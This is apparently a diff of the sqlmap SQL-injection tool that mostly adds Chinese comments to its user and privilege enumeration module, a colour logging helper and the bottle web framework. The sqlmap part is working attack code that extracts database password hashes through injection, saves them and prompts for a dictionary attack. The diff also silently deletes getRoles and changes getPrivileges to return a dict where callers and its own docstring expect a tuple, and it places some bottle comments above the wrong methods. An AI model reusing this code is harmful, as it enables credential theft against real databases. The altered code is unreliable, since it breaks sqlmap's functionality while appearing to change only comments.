         if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
             if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
-                query = rootQuery.inband.query2
+                query = rootQuery.inband.query2 # SQL Server 2005和2008的查询语句
             else:
-                query = rootQuery.inband.query
+                query = rootQuery.inband.query  # 通用查询语句
 
-            condition = rootQuery.inband.condition
+            condition = rootQuery.inband.condition # 查询条件
 
+            # 如果指定了用户，则加入查询条件
             if conf.user:
                 query += " WHERE "
                 query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
 
+            # 处理Sybase数据库的特殊情况
             if Backend.isDbms(DBMS.SYBASE):
                 getCurrentThreadData().disableStdOut = True
 
-                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False)
+                retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName, '%s.password' % kb.aliasName], blind=False) # 使用pivotDumpTable函数获取用户名和密码哈希
 
                 if retVal:
                     for user, password in filterPairValues(_zip(retVal[0]["%s.name" % kb.aliasName], retVal[0]["%s.password" % kb.aliasName])):
@@ -219,13 +263,14 @@ class Users(object):
 
                 getCurrentThreadData().disableStdOut = False
             else:
-                values = inject.getValue(query, blind=False, time=False)
+                values = inject.getValue(query, blind=False, time=False)  # 执行查询，获取用户名和密码哈希
 
                 if Backend.isDbms(DBMS.MSSQL) and isNoneValue(values):
-                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False)
+                    values = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), blind=False, time=False) # SQL Server的特殊情况，替换函数
                 elif Backend.isDbms(DBMS.MYSQL) and (isNoneValue(values) or all(len(value) == 2 and (isNullValue(value[1]) or isNoneValue(value[1])) for value in values)):
-                    values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False)
+                    values = inject.getValue(query.replace("authentication_string", "password"), blind=False, time=False) # MySQL的特殊情况，替换字段
 
+                # 处理返回的用户名和密码哈希
                 for user, password in filterPairValues(values):
                     if not user or user == " ":
                         continue
@@ -237,19 +282,21 @@ class Users(object):
                     else:
                         kb.data.cachedUsersPasswords[user].append(password)
 
+        # 如果没有使用union, error, query技术获取到密码哈希，则使用盲注技术进行获取
         if not kb.data.cachedUsersPasswords and isInferenceAvailable() and not conf.direct:
             fallback = False
 
             if not len(users):
-                users = self.getUsers()
+                users = self.getUsers() # 先获取用户列表
 
                 if Backend.isDbms(DBMS.MYSQL):
                     for user in users:
                         parsedUser = re.search(r"['\"]?(.*?)['\"]?\@", user)
 
                         if parsedUser:
-                            users[users.index(user)] = parsedUser.groups()[0]
+                            users[users.index(user)] = parsedUser.groups()[0] # 处理MySQL的用户名格式，去掉引号和@后面的部分
 
+            # 处理Sybase数据库的特殊情况
             if Backend.isDbms(DBMS.SYBASE):
                 getCurrentThreadData().disableStdOut = True
 
@@ -268,8 +315,9 @@ class Users(object):
 
                 getCurrentThreadData().disableStdOut = False
             else:
-                retrievedUsers = set()
+                retrievedUsers = set() # 已获取密码哈希的用户
 
+                # 循环盲注查询密码哈希
                 for user in users:
                     user = unArrayizeValue(user)
 
@@ -277,26 +325,26 @@ class Users(object):
                         continue
 
                     if Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
-                        count = 1
+                        count = 1 # Informix和Virtuoso数据库的特殊情况，直接查询密码哈希
                     else:
                         infoMsg = "fetching number of password hashes "
                         infoMsg += "for user '%s'" % user
                         logger.info(infoMsg)
 
                         if Backend.isDbms(DBMS.MSSQL) and Backend.isVersionWithin(("2005", "2008")):
-                            query = rootQuery.blind.count2 % user
+                            query = rootQuery.blind.count2 % user # SQL Server 2005和2008的查询语句
                         else:
-                            query = rootQuery.blind.count % user
+                            query = rootQuery.blind.count % user  # 通用查询语句
 
-                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                        count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # 获取密码哈希数量
 
                         if not isNumPosStrValue(count):
                             if Backend.isDbms(DBMS.MSSQL):
                                 fallback = True
-                                count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                                count = inject.getValue(query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # SQL Server的特殊情况，替换函数
                             elif Backend.isDbms(DBMS.MYSQL):
                                 fallback = True
-                                count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                                count = inject.getValue(query.replace("authentication_string", "password"), union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) # MySQL的特殊情况，替换字段
 
                         if not isNumPosStrValue(count):
                             warnMsg = "unable to retrieve the number of password "
@@ -310,33 +358,34 @@ class Users(object):
                     passwords = []
 
                     plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
-                    indexRange = getLimitRange(count, plusOne=plusOne)
+                    indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围
 
+                    # 循环盲注查询密码哈希
                     for index in indexRange:
                         if Backend.isDbms(DBMS.MSSQL):
                             if Backend.isVersionWithin(("2005", "2008")):
-                                query = rootQuery.blind.query2 % (user, index, user)
+                                query = rootQuery.blind.query2 % (user, index, user) # SQL Server 2005和2008的查询语句
                             else:
-                                query = rootQuery.blind.query % (user, index, user)
+                                query = rootQuery.blind.query % (user, index, user) # 通用查询语句
 
                             if fallback:
-                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr")
+                                query = query.replace("master.dbo.fn_varbintohexstr", "sys.fn_sqlvarbasetostr") # SQL Server的特殊情况，替换函数
 
                         elif Backend.getIdentifiedDbms() in (DBMS.INFORMIX, DBMS.VIRTUOSO):
-                            query = rootQuery.blind.query % (user,)
+                            query = rootQuery.blind.query % (user,)  # Informix和Virtuoso数据库的特殊情况
 
                         elif Backend.isDbms(DBMS.HSQLDB):
-                            query = rootQuery.blind.query % (index, user)
+                            query = rootQuery.blind.query % (index, user) # HSQLDB数据库的特殊情况
 
                         else:
-                            query = rootQuery.blind.query % (user, index)
+                            query = rootQuery.blind.query % (user, index) # 通用查询语句
 
                         if Backend.isDbms(DBMS.MYSQL):
                             if fallback:
-                                query = query.replace("authentication_string", "password")
+                                query = query.replace("authentication_string", "password") # MySQL的特殊情况，替换字段
 
                         password = unArrayizeValue(inject.getValue(query, union=False, error=False))
-                        password = parsePasswordHash(password)
+                        password = parsePasswordHash(password) # 解析密码哈希
 
                         passwords.append(password)
 
@@ -355,26 +404,37 @@ class Users(object):
             logger.error(errMsg)
         else:
             for user in kb.data.cachedUsersPasswords:
-                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user]))
+                kb.data.cachedUsersPasswords[user] = list(set(kb.data.cachedUsersPasswords[user])) # 去重密码哈希
 
-            storeHashesToFile(kb.data.cachedUsersPasswords)
+            storeHashesToFile(kb.data.cachedUsersPasswords) # 保存密码哈希到文件
 
             message = "do you want to perform a dictionary-based attack "
             message += "against retrieved password hashes? [Y/n/q]"
-            choice = readInput(message, default='Y').upper()
+            choice = readInput(message, default='Y').upper() # 提示是否进行字典攻击
 
             if choice == 'N':
                 pass
             elif choice == 'Q':
                 raise SqlmapUserQuitException
             else:
-                attackCachedUsersPasswords()
+                attackCachedUsersPasswords() # 进行字典攻击
 
         return kb.data.cachedUsersPasswords
 
     def getPrivileges(self, query2=False):
+        """
+        Retrieves privileges of database users.
+        获取数据库用户的权限
+
+        Args:
+            query2 (bool, optional): 是否使用第二种查询方式，默认为False
+
+        Returns:
+            tuple: 用户名和权限的字典，以及DBA用户的集合
+        """
         infoMsg = "fetching database users privileges"
 
+        # 获取查询权限的SQL查询语句
         rootQuery = queries[Backend.getIdentifiedDbms()].privileges
 
         if conf.user == CURRENT_USER:
@@ -401,36 +461,38 @@ class Users(object):
         users = [_ for _ in users if _]
 
         # Set containing the list of DBMS administrators
-        areAdmins = set()
+        areAdmins = set()  # 存储DBA用户的集合
 
         if not kb.data.cachedUsersPrivileges and any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct:
             if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
-                query = rootQuery.inband.query2
+                query = rootQuery.inband.query2 # MySQL 5.0以下版本的查询语句
-                condition = rootQuery.inband.condition2
+                condition = rootQuery.inband.condition2 # MySQL 5.0以下版本的查询条件
             elif Backend.isDbms(DBMS.ORACLE) and query2:
-                query = rootQuery.inband.query2
+                query = rootQuery.inband.query2 # Oracle的第二种查询方式
-                condition = rootQuery.inband.condition2
+                condition = rootQuery.inband.condition2 # Oracle的第二种查询条件
             else:
-                query = rootQuery.inband.query
+                query = rootQuery.inband.query # 通用查询语句
-                condition = rootQuery.inband.condition
+                condition = rootQuery.inband.condition # 通用查询条件
 
+            # 如果指定了用户，则加入查询条件
             if conf.user:
                 query += " WHERE "
 
                 if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users))
+                    query += " OR ".join("%s LIKE '%%%s%%'" % (condition, user) for user in sorted(users)) # MySQL 5.0以上版本的查询条件
                 else:
-                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users))
+                    query += " OR ".join("%s = '%s'" % (condition, user) for user in sorted(users)) # 通用查询条件
 
-            values = inject.getValue(query, blind=False, time=False)
+            values = inject.getValue(query, blind=False, time=False) # 执行查询语句，获取权限信息
 
             if not values and Backend.isDbms(DBMS.ORACLE) and not query2:
                 infoMsg = "trying with table 'USER_SYS_PRIVS'"
                 logger.info(infoMsg)
 
-                return self.getPrivileges(query2=True)
+                return self.getPrivileges(query2=True) # 如果没有获取到权限信息，尝试使用第二种查询方式
 
             if not isNoneValue(values):
+                # 处理返回的权限信息
                 for value in values:
                     user = None
                     privileges = set()
@@ -438,7 +500,7 @@ class Users(object):
                     for count in xrange(0, len(value or [])):
                         # The first column is always the username
                         if count == 0:
-                            user = value[count]
+                            user = value[count] # 获取用户名
 
                         # The other columns are the privileges
                         else:
@@ -451,23 +513,23 @@ class Users(object):
                             # True, 0 otherwise
                             if Backend.isDbms(DBMS.PGSQL) and getUnicode(privilege).isdigit():
                                 if int(privilege) == 1 and count in PGSQL_PRIVS:
-                                    privileges.add(PGSQL_PRIVS[count])
+                                    privileges.add(PGSQL_PRIVS[count]) # PostgreSQL的权限处理
 
                             # In MySQL >= 5.0 and Oracle we get the list
                             # of privileges as string
                             elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
-                                privileges.add(privilege)
+                                privileges.add(privilege) # MySQL 5.0以上版本和Oracle的权限处理
 
                             # In MySQL < 5.0 we get Y if the privilege is
                             # True, N otherwise
                             elif Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
                                 if privilege.upper() == 'Y':
-                                    privileges.add(MYSQL_PRIVS[count])
+                                    privileges.add(MYSQL_PRIVS[count]) # MySQL 5.0以下版本的权限处理
 
                             # In Firebird we get one letter for each privilege
                             elif Backend.isDbms(DBMS.FIREBIRD):
                                 if privilege.strip() in FIREBIRD_PRIVS:
-                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()])
+                                    privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # Firebird的权限处理
 
                             # In DB2 we get Y or G if the privilege is
                             # True, N otherwise
@@ -487,21 +549,21 @@ class Users(object):
 
                                         i += 1
 
-                                privileges.add(privilege)
+                                privileges.add(privilege)  # DB2的权限处理
 
                     if user in kb.data.cachedUsersPrivileges:
-                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user]))
+                        kb.data.cachedUsersPrivileges[user] = list(privileges.union(kb.data.cachedUsersPrivileges[user])) # 合并权限
                     else:
                         kb.data.cachedUsersPrivileges[user] = list(privileges)
 
         if not kb.data.cachedUsersPrivileges and isInferenceAvailable() and not conf.direct:
             if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                conditionChar = "LIKE"
+                conditionChar = "LIKE" # MySQL 5.0以上版本的模糊查询
             else:
-                conditionChar = "="
+                conditionChar = "="  # 通用查询
 
             if not len(users):
-                users = self.getUsers()
+                users = self.getUsers() # 获取用户列表
 
                 if Backend.isDbms(DBMS.MYSQL):
                     for user in users:
@@ -510,33 +572,34 @@ class Users(object):
                         if parsedUser:
                             users[users.index(user)] = parsedUser.groups()[0]
 
-            retrievedUsers = set()
+            retrievedUsers = set() # 已获取权限的用户
 
+            # 循环盲注查询权限
             for user in users:
                 outuser = user
                 if user in retrievedUsers:
                     continue
 
                 if Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                    user = "%%%s%%" % user
+                    user = "%%%s%%" % user # MySQL 5.0以上版本的模糊查询
 
                 if Backend.isDbms(DBMS.INFORMIX):
-                    count = 1
+                    count = 1  # Informix数据库的特殊情况，直接查询权限
                 else:
                     infoMsg = "fetching number of privileges "
                     infoMsg += "for user '%s'" % outuser
                     logger.info(infoMsg)
 
                     if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
-                        query = rootQuery.blind.count2 % user
+                        query = rootQuery.blind.count2 % user  # MySQL 5.0以下版本的查询语句
                     elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                        query = rootQuery.blind.count % (conditionChar, user)
+                        query = rootQuery.blind.count % (conditionChar, user)  # MySQL 5.0以上版本的查询语句
                     elif Backend.isDbms(DBMS.ORACLE) and query2:
-                        query = rootQuery.blind.count2 % user
+                        query = rootQuery.blind.count2 % user  # Oracle的第二种查询方式
                     else:
-                        query = rootQuery.blind.count % user
+                        query = rootQuery.blind.count % user  # 通用查询语句
 
-                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
+                    count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)  # 获取权限数量
 
                     if not isNumPosStrValue(count):
                         if not retrievedUsers and Backend.isDbms(DBMS.ORACLE) and not query2:
@@ -556,21 +619,22 @@ class Users(object):
                 privileges = set()
 
                 plusOne = Backend.getIdentifiedDbms() in PLUS_ONE_DBMSES
-                indexRange = getLimitRange(count, plusOne=plusOne)
+                indexRange = getLimitRange(count, plusOne=plusOne) # 计算盲注的查询范围
 
+                # 循环盲注查询权限
                 for index in indexRange:
                     if Backend.isDbms(DBMS.MYSQL) and not kb.data.has_information_schema:
-                        query = rootQuery.blind.query2 % (user, index)
+                        query = rootQuery.blind.query2 % (user, index) # MySQL 5.0以下版本的查询语句
                     elif Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema:
-                        query = rootQuery.blind.query % (conditionChar, user, index)
+                        query = rootQuery.blind.query % (conditionChar, user, index) # MySQL 5.0以上版本的查询语句
                     elif Backend.isDbms(DBMS.ORACLE) and query2:
-                        query = rootQuery.blind.query2 % (user, index)
+                        query = rootQuery.blind.query2 % (user, index) # Oracle的第二种查询方式
                     elif Backend.isDbms(DBMS.FIREBIRD):
-                        query = rootQuery.blind.query % (index, user)
+                        query = rootQuery.blind.query % (index, user) # Firebird数据库的查询语句
                     elif Backend.isDbms(DBMS.INFORMIX):
-                        query = rootQuery.blind.query % (user,)
+                        query = rootQuery.blind.query % (user,) # Informix数据库的查询语句
                     else:
-                        query = rootQuery.blind.query % (user, index)
+                        query = rootQuery.blind.query % (user, index) # 通用查询语句
 
                     privilege = unArrayizeValue(inject.getValue(query, union=False, error=False))
 
@@ -586,14 +650,14 @@ class Users(object):
 
                         for priv in privs:
                             if priv.isdigit() and int(priv) == 1 and i in PGSQL_PRIVS:
-                                privileges.add(PGSQL_PRIVS[i])
+                                privileges.add(PGSQL_PRIVS[i]) # PostgreSQL的权限处理
 
                             i += 1
 
                     # In MySQL >= 5.0 and Oracle we get the list
                     # of privileges as string
                     elif Backend.isDbms(DBMS.ORACLE) or (Backend.isDbms(DBMS.MYSQL) and kb.data.has_information_schema) or Backend.getIdentifiedDbms() in (DBMS.VERTICA, DBMS.MIMERSQL, DBMS.CUBRID):
-                        privileges.add(privilege)
+                        privileges.add(privilege) # MySQL 5.0以上版本和Oracle的权限处理
 
                     # In MySQL < 5.0 we get Y if the privilege is
                     # True, N otherwise
@@ -606,19 +670,19 @@ class Users(object):
                             if priv.upper() == 'Y':
                                 for position, mysqlPriv in MYSQL_PRIVS.items():
                                     if position == i:
-                                        privileges.add(mysqlPriv)
+                                        privileges.add(mysqlPriv) # MySQL 5.0以下版本的权限处理
 
                             i += 1
 
                     # In Firebird we get one letter for each privilege
                     elif Backend.isDbms(DBMS.FIREBIRD):
                         if privilege.strip() in FIREBIRD_PRIVS:
-                            privileges.add(FIREBIRD_PRIVS[privilege.strip()])
+                            privileges.add(FIREBIRD_PRIVS[privilege.strip()]) # Firebird的权限处理
 
                     # In Informix we get one letter for the highest privilege
                     elif Backend.isDbms(DBMS.INFORMIX):
                         if privilege.strip() in INFORMIX_PRIVS:
-                            privileges.add(INFORMIX_PRIVS[privilege.strip()])
+                            privileges.add(INFORMIX_PRIVS[privilege.strip()]) # Informix的权限处理
 
                     # In DB2 we get Y or G if the privilege is
                     # True, N otherwise
@@ -633,7 +697,7 @@ class Users(object):
                             if priv.upper() in ('Y', 'G'):
                                 for position, db2Priv in DB2_PRIVS.items():
                                     if position == i:
-                                        privilege += ", " + db2Priv
+                                        privilege += ", " + db2Priv # DB2的权限处理
 
                             i += 1
 
@@ -661,13 +725,6 @@ class Users(object):
 
         for user, privileges in kb.data.cachedUsersPrivileges.items():
             if isAdminFromPrivileges(privileges):
-                areAdmins.add(user)
+                areAdmins.add(user) # 判断是否为DBA
-
-        return (kb.data.cachedUsersPrivileges, areAdmins)
-
-    def getRoles(self, query2=False):
-        warnMsg = "on %s the concept of roles does not " % Backend.getIdentifiedDbms()
-        warnMsg += "exist. sqlmap will enumerate privileges instead"
-        logger.warning(warnMsg)
 
-        return self.getPrivileges(query2)
+        return (kb.data.cachedUsersPrivileges)

src/sqlmap-master/thirdparty/ansistrm/ansistrm.py

@@ -7,7 +7,7 @@ import logging
 import re
 import sys
 
-from lib.core.settings import IS_WIN
+from lib.core.settings import IS_WIN    # 导入一个设置，用于判断是否在Windows系统上运行
 
 if IS_WIN:
     import ctypes
@@ -16,14 +16,15 @@ if IS_WIN:
     # Reference: https://gist.github.com/vsajip/758430
     #            https://github.com/ipython/ipython/issues/4252
     #            https://msdn.microsoft.com/en-us/library/windows/desktop/ms686047%28v=vs.85%29.aspx
+    # 设置Windows API函数SetConsoleTextAttribute的参数和返回值类型
     ctypes.windll.kernel32.SetConsoleTextAttribute.argtypes = [ctypes.wintypes.HANDLE, ctypes.wintypes.WORD]
     ctypes.windll.kernel32.SetConsoleTextAttribute.restype = ctypes.wintypes.BOOL
 
-def stdoutEncode(data):  # Cross-referenced function
+def stdoutEncode(data):  # 用于编码标准输出数据的函数
     return data
 
 class ColorizingStreamHandler(logging.StreamHandler):
-    # color names to indices
+    # 定义颜色名称到索引的映射
     color_map = {
         'black': 0,
         'red': 1,
@@ -35,7 +36,7 @@ class ColorizingStreamHandler(logging.StreamHandler):
         'white': 7,
     }
 
-    # levels to (background, foreground, bold/intense)
+    # 定义日志级别到颜色和样式的映射
     level_map = {
         logging.DEBUG: (None, 'blue', False),
         logging.INFO: (None, 'green', False),
@@ -43,25 +44,30 @@ class ColorizingStreamHandler(logging.StreamHandler):
         logging.ERROR: (None, 'red', False),
         logging.CRITICAL: ('red', 'white', False)
     }
-    csi = '\x1b['
+    csi = '\x1b['   # ANSI转义序列的前缀
-    reset = '\x1b[0m'
+    reset = '\x1b[0m'   # ANSI重置颜色的转义序列
-    bold = "\x1b[1m"
+    bold = "\x1b[1m"    # ANSI加粗的转义序列
-    disable_coloring = False
+    disable_coloring = False    # 是否禁用颜色
 
     @property
     def is_tty(self):
+        # 检查流是否是终端
         isatty = getattr(self.stream, 'isatty', None)
         return isatty and isatty() and not self.disable_coloring
 
     def emit(self, record):
+        # 发送日志记录
         try:
             message = stdoutEncode(self.format(record))
             stream = self.stream
 
+            #如果当前流不是TTY，直接写入消息
+
             if not self.is_tty:
                 if message and message[0] == "\r":
                     message = message[1:]
                 stream.write(message)
+            #如果是TTY，调用output_colorized方法来输出带颜色的消息
             else:
                 self.output_colorized(message)
             stream.write(getattr(self, 'terminator', '\n'))
@@ -70,15 +76,19 @@ class ColorizingStreamHandler(logging.StreamHandler):
         except (KeyboardInterrupt, SystemExit):
             raise
         except IOError:
+            #IO错误时，什么也不做（pass）
             pass
         except:
+            #其他异常时，调用handleError方法
             self.handleError(record)
 
     if not IS_WIN:
         def output_colorized(self, message):
+            # 如果不是Windows系统，直接写入消息
             self.stream.write(message)
     else:
         ansi_esc = re.compile(r'\x1b\[((?:\d+)(?:;(?:\d+))*)m')
+        # 正则表达式，用于匹配ANSI转义序列
 
         nt_color_map = {
             0: 0x00,    # black
@@ -92,26 +102,32 @@ class ColorizingStreamHandler(logging.StreamHandler):
         }
 
         def output_colorized(self, message):
+            # 如果是Windows系统，解析ANSI转义序列并设置控制台颜色
             parts = self.ansi_esc.split(message)
             h = None
             fd = getattr(self.stream, 'fileno', None)
 
+            #文件描述符有效，并且是标准输出或标准错误，获取对应的Windows句柄
             if fd is not None:
                 fd = fd()
 
                 if fd in (1, 2): # stdout or stderr
                     h = ctypes.windll.kernel32.GetStdHandle(-10 - fd)
 
+            #循环处理分割后的消息部分
             while parts:
                 text = parts.pop(0)
 
+                #如果部分是文本，写入并刷新流
                 if text:
                     self.stream.write(text)
                     self.stream.flush()
 
+                #如果还有部分，取出下一个部分作为参数
                 if parts:
                     params = parts.pop(0)
 
+                    #如果句柄有效，将参数分割并转换为整数，初始化颜色代码
                     if h is not None:
                         params = [int(p) for p in params.split(';')]
                         color = 0
@@ -131,9 +147,12 @@ class ColorizingStreamHandler(logging.StreamHandler):
                         ctypes.windll.kernel32.SetConsoleTextAttribute(h, color)
 
     def _reset(self, message):
+    #重置消息的颜色
         if not message.endswith(self.reset):
+        # 如果消息不以重置序列结尾，则添加重置序列
             reset = self.reset
-        elif self.bold in message:  # bold
+        elif self.bold in message:
+        # 如果消息包含加粗，则在重置后加粗
             reset = self.reset + self.bold
         else:
             reset = self.reset
@@ -141,19 +160,23 @@ class ColorizingStreamHandler(logging.StreamHandler):
         return reset
 
     def colorize(self, message, levelno):
+    # 根据日志级别给消息上色
         if levelno in self.level_map and self.is_tty:
             bg, fg, bold = self.level_map[levelno]
             params = []
 
+            #如果背景色有效，添加背景色参数
             if bg in self.color_map:
                 params.append(str(self.color_map[bg] + 40))
 
+            #如果前景色有效，添加前景色参数
             if fg in self.color_map:
                 params.append(str(self.color_map[fg] + 30))
-
+            #如果需要加粗，添加加粗参数
             if bold:
                 params.append('1')
 
+            #如果参数和消息都有效，检查消息是否有前缀（空格），并提取出来
             if params and message:
                 if message.lstrip() != message:
                     prefix = re.search(r"\s+", message).group(0)
@@ -167,5 +190,6 @@ class ColorizingStreamHandler(logging.StreamHandler):
         return message
 
     def format(self, record):
+        # 格式化日志记录
         message = logging.StreamHandler.format(self, record)
         return self.colorize(message, record.levelno)

src/sqlmap-master/thirdparty/bottle/bottle.py

@@ -29,9 +29,12 @@ __license__ = 'MIT'
 
 
 def _cli_parse(args):  # pragma: no coverage
+    # 导入ArgumentParser模块
     from argparse import ArgumentParser
 
+    # 创建ArgumentParser对象，设置程序名称和用法
     parser = ArgumentParser(prog=args[0], usage="%(prog)s [options] package.module:app")
+    # 添加参数
     opt = parser.add_argument
     opt("--version", action="store_true", help="show version number.")
     opt("-b", "--bind", metavar="ADDRESS", help="bind socket to ADDRESS.")
@@ -45,6 +48,7 @@ def _cli_parse(args):  # pragma: no coverage
     opt("--reload", action="store_true", help="auto-reload on file changes.")
     opt('app', help='WSGI app entry point.', nargs='?')
 
+    # 解析命令行参数
     cli_args = parser.parse_args(args[1:])
 
     return cli_args, parser
@@ -179,7 +183,9 @@ def depr(major, minor, cause, fix):
 
 
 def makelist(data):  # This is just too handy
+    # 判断data是否为元组、列表、集合或字典类型
     if isinstance(data, (tuple, list, set, dict)):
+        # 如果是，则返回data的列表形式
         return list(data)
     elif data:
         return [data]
@@ -198,18 +204,24 @@ class DictProperty(object):
         self.getter, self.key = func, self.key or func.__name__
         return self
 
+        # 如果obj为None，则返回self
     def __get__(self, obj, cls):
+        # 获取属性名和存储对象
         if obj is None: return self
+        # 如果属性名不在存储对象中，则调用getter方法获取值并存储
         key, storage = self.key, getattr(obj, self.attr)
         if key not in storage: storage[key] = self.getter(obj)
         return storage[key]
 
+        # 如果属性是只读的，则抛出AttributeError异常
     def __set__(self, obj, value):
         if self.read_only: raise AttributeError("Read-Only property.")
         getattr(obj, self.attr)[self.key] = value
 
     def __delete__(self, obj):
+        # 如果属性是只读的，则抛出AttributeError异常
         if self.read_only: raise AttributeError("Read-Only property.")
+        # 从存储对象中删除对应的值
         del getattr(obj, self.attr)[self.key]
 
 
@@ -737,26 +749,38 @@ class Bottle(object):
             self.route('/' + '/'.join(segments), **options)
 
     def _mount_app(self, prefix, app, **options):
+        # 检查app是否已经被挂载，或者app的config中是否已经存在'_mount.app'键
         if app in self._mounts or '_mount.app' in app.config:
+            # 如果app已经被挂载，或者app的config中已经存在'_mount.app'键，则发出警告，并回退到WSGI挂载
             depr(0, 13, "Application mounted multiple times. Falling back to WSGI mount.",
                  "Clone application before mounting to a different location.")
             return self._mount_wsgi(prefix, app, **options)
 
+        # 检查options是否为空
         if options:
+            # 如果options不为空，则发出警告，并回退到WSGI挂载
             depr(0, 13, "Unsupported mount options. Falling back to WSGI mount.",
                  "Do not specify any route options when mounting bottle application.")
             return self._mount_wsgi(prefix, app, **options)
 
+        # 检查prefix是否以'/'结尾
         if not prefix.endswith("/"):
+            # 如果prefix不以'/'结尾，则发出警告，并回退到WSGI挂载
             depr(0, 13, "Prefix must end in '/'. Falling back to WSGI mount.",
                  "Consider adding an explicit redirect from '/prefix' to '/prefix/' in the parent application.")
             return self._mount_wsgi(prefix, app, **options)
 
+        # 将app添加到_mounts列表中
         self._mounts.append(app)
+        # 将prefix添加到app的config中
         app.config['_mount.prefix'] = prefix
+        # 将self添加到app的config中
         app.config['_mount.app'] = self
+        # 遍历app的routes
         for route in app.routes:
+            # 将route的rule修改为prefix + route.rule.lstrip('/')
             route.rule = prefix + route.rule.lstrip('/')
+            # 将修改后的route添加到self的routes中
             self.add_route(route)
 
     def mount(self, prefix, app, **options):
@@ -781,11 +805,15 @@ class Bottle(object):
             parent application.
         """
 
+        # 检查prefix是否以'/'开头
         if not prefix.startswith('/'):
+            # 如果prefix不以'/'开头，则抛出ValueError异常
             raise ValueError("Prefix must start with '/'")
 
+        # 如果app是Bottle实例，则调用_mount_app方法
         if isinstance(app, Bottle):
             return self._mount_app(prefix, app, **options)
+        # 否则，调用_mount_wsgi方法
         else:
             return self._mount_wsgi(prefix, app, **options)
 
@@ -1089,31 +1117,46 @@ class Bottle(object):
     def wsgi(self, environ, start_response):
         """ The bottle WSGI-interface. """
         try:
+            # 将environ传递给_handle方法，获取返回值
             out = self._cast(self._handle(environ))
             # rfc2616 section 4.3
+            # 如果返回的状态码是100, 101, 204, 304，或者请求方法是HEAD，则关闭输出流
             if response._status_code in (100, 101, 204, 304)\
             or environ['REQUEST_METHOD'] == 'HEAD':
                 if hasattr(out, 'close'): out.close()
                 out = []
+            # 获取environ中的bottle.exc_info
             exc_info = environ.get('bottle.exc_info')
+            # 如果有异常信息，则删除environ中的bottle.exc_info
             if exc_info is not None:
                 del environ['bottle.exc_info']
+            # 调用start_response方法，设置响应状态行、响应头和异常信息
             start_response(response._wsgi_status_line(), response.headerlist, exc_info)
+            # 返回输出流
             return out
         except (KeyboardInterrupt, SystemExit, MemoryError):
+            # 如果捕获到KeyboardInterrupt, SystemExit, MemoryError异常，则抛出
             raise
         except Exception as E:
+            # 如果没有开启catchall，则抛出异常
             if not self.catchall: raise
+            # 构造错误页面
             err = '<h1>Critical error while processing request: %s</h1>' \
                   % html_escape(environ.get('PATH_INFO', '/'))
+            # 如果开启了DEBUG模式，则输出错误信息和堆栈信息
             if DEBUG:
                 err += '<h2>Error:</h2>\n<pre>\n%s\n</pre>\n' \
                        '<h2>Traceback:</h2>\n<pre>\n%s\n</pre>\n' \
                        % (html_escape(repr(E)), html_escape(format_exc()))
+            # 将错误页面写入environ中的wsgi.errors
             environ['wsgi.errors'].write(err)
+            # 刷新wsgi.errors
             environ['wsgi.errors'].flush()
+            # 设置响应头
             headers = [('Content-Type', 'text/html; charset=UTF-8')]
+            # 调用start_response方法，设置响应状态行、响应头和异常信息
             start_response('500 INTERNAL SERVER ERROR', headers, sys.exc_info())
+            # 返回错误页面
             return [tob(err)]
 
     def __call__(self, environ, start_response):

src/sqlmap-master/thirdparty/chardet/__init__.py

